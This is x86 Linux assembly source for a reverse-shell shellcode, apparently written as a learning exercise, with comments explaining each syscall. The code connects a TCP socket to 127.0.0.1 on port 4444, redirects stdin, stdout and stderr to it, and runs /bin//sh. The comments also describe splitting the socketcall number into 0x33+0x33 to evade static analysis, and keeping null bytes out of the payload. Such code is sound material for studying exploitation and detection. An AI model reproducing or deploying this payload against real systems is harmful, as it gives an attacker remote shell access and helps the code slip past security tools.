_start:
; start by zeroing eax,ebx. not really needed because registers are clean, but better safe than sorry
xor eax,eax
xor ebx,ebx
; ----------------------------------------------------------------------------------------
; purpose : create a socket
; references : man socket
; description :
; socketcall is the syscall used to work with socket. i'm going to use this syscall to create and connect
; the very first thing i have to do, is to create the socket itself. by reading references, i see that she needs 3 registers:
; eax => syscall id 0x66 for socketcall, that will be the same for every socketcall call of course and that's why i created a function on top
; ebx => socket call id, that is 0x1 for socket creation
; ecx => pointer to socket args
;
; man socket shows me that socket's args are:
; domain => AF_INET because i'm creating a inet socket, and is 0x2
; type => tcp is referenced as STREAM, that is 0x1
; protocol => unneded here because there is no inner protocol, so i'll use 0x0
; not, i'm creating ecx because a zeroed eax is perfect for the purpose
; arg will be pushed in reverse order with no hardcoded address: 0, 1, 2
push eax
inc eax
push eax
inc eax
push eax
; because socketcall needs a pointer, i'm moving esp address to ecx
mov ecx,esp
; prepare eax to hold the socketcall value as discussed before. i'm not hardcoding 0x66 to (try to) fool some static analysis: 0x33 is sysacct and looks harmless to me
mov al,0x33
add al,0x33
; because ebx has been zeroed, i can just inc to have it to 1 for socketcall to call socket (pun intended :) )
inc ebx
; do the call and create socket
int 0x80
; because syscall rets to eax, if everything's good, eax will hold socket file descriptor: save it to esi to store it safe for the whole run
mov esi,eax
; ----------------------------------------------------------------------------------------
; purpose : connect to raddr:rport
; references : man connect , man 7 ip
; description :
; eax => syscall id 0x66 for socketcall
; ebx => connect call id, 0x3 taken from linux/net.h
; ecx => pointer to address struct
;
; man connect shows me that args are:
; sockfd => already saved in esi
; address => pointer to ip struct
; addrlen => addrlen is 32bit (0x10)
;
; man 7 ip shows address struct details. arguments are:
; family => AF_INET, so 0x2
; port => hardcoded 4444
; addr => 127.0.0.1
; zero again
xor eax,eax
; push arg in reverse and move the pointer to ecx
; prepare stack pointer to addr struct defined in man 7 ip
; as exercise, i'm going to use 127.0.0.1 as remote address, because it contains null bytes
; hex value of 127.0.0.1 is 0x0100007f
; pushing 0x00000000 to esp by using a known null register. i've also could used sub esp,0x8 because i have enough room, or mov eax,[esp] or another zillion of similal instructions
push eax
mov byte [esp], 0x7f
; now esp is: 0x0000007f
mov byte [esp+3],0x01
; now esp is: 0x0100007f
; push port to bind to, 4444 in hex, to adhere to msf defaults :)
push word 0x5c11
; push AF_INET value as word again
inc ebx
push word bx
; get stack pointer to ecx
mov ecx,esp
; same call to have 0x66 to eax and do socketcall
mov al,0x33
add al,0x33
; push arg, again in reverse order
push eax
; pointer to addr struct
push ecx
; sockfd, saved before to esi
push esi
; stack pointer to ecx again, to feed bind socketcall
mov ecx,esp
; ebx is 0x2, i need 0x3
inc ebx
; do the call
int 0x80
; ----------------------------------------------------------------------------------------
; purpose : create fd used by /bin//sh
; references : man dup2
; description : every shell has three file descriptor: STDIN(0), STDOUT(1), STDERR(2)
; this code will create said fd
; eax => 0x3f
; ebx => clientid
; ecx => newfd id, said file descriptor
;
; i'm going to create them by looping using ecx, to save some instruction. ecx will start at 2, then is dec and fd is created.
; as soon as ecx is 0, the loop ends
; i'm using a different method from one i've used for bindshell just to try.
; i'll put 0x3 to ecx to start creating STDERR just after dec
; ecx is dirty but edx is 0x0, just swap them
; edit: actually, running from a C code you'll have edx dirty. zero it...
xor edx,edx
xchg ecx,edx
mov cl,0x3
; copy socket fd to ebx to feed clientid
mov ebx,esi
; zero eax and start the loop
xor eax,eax
; dup2 call id
mov al,0x3f
; dec ecx to have 2,1,0
dec ecx
int 0x80
mov al,0x3f
; dec ecx to have 2,1,0
dec ecx
int 0x80
mov al,0x3f
; dec ecx to have 2,1,0
dec ecx
int 0x80
; ----------------------------------------------------------------------------------------
; purpose : spawn /bin//sh
; references : man execve
; description : put /bin//sh on the stack, aligned to 8 bytes to prevent 0x00 in the shellcode itself
; and null terminating it by pushing a zeroed register at first
; eax => execve call, 0xB
; ebx => pointer to executed string, which will be /bin//sh null terminated
; ecx => pointer to args to executed command, that could be 0x0
; edx => pointer to environment, which could be 0x0
;
; i need to push a null byte to terminate the string, i know ecx is 0x0 so i can save one op
push ecx
push 0x68732f2f
push 0x6e69622f
; here the stack will looks like a null terminated /bin/sh:
; /bin//sh\0\0\0\0\0\0\0\0
; and place pointer to ebx
mov ebx,esp
; envp to edx and ecx
push ecx
mov edx,esp
push ecx
mov ecx,esp
; execve syscall here
mov al,0xB
; and pop shell
int 0x80
; neat exit
xor eax,eax
mov al,0x1
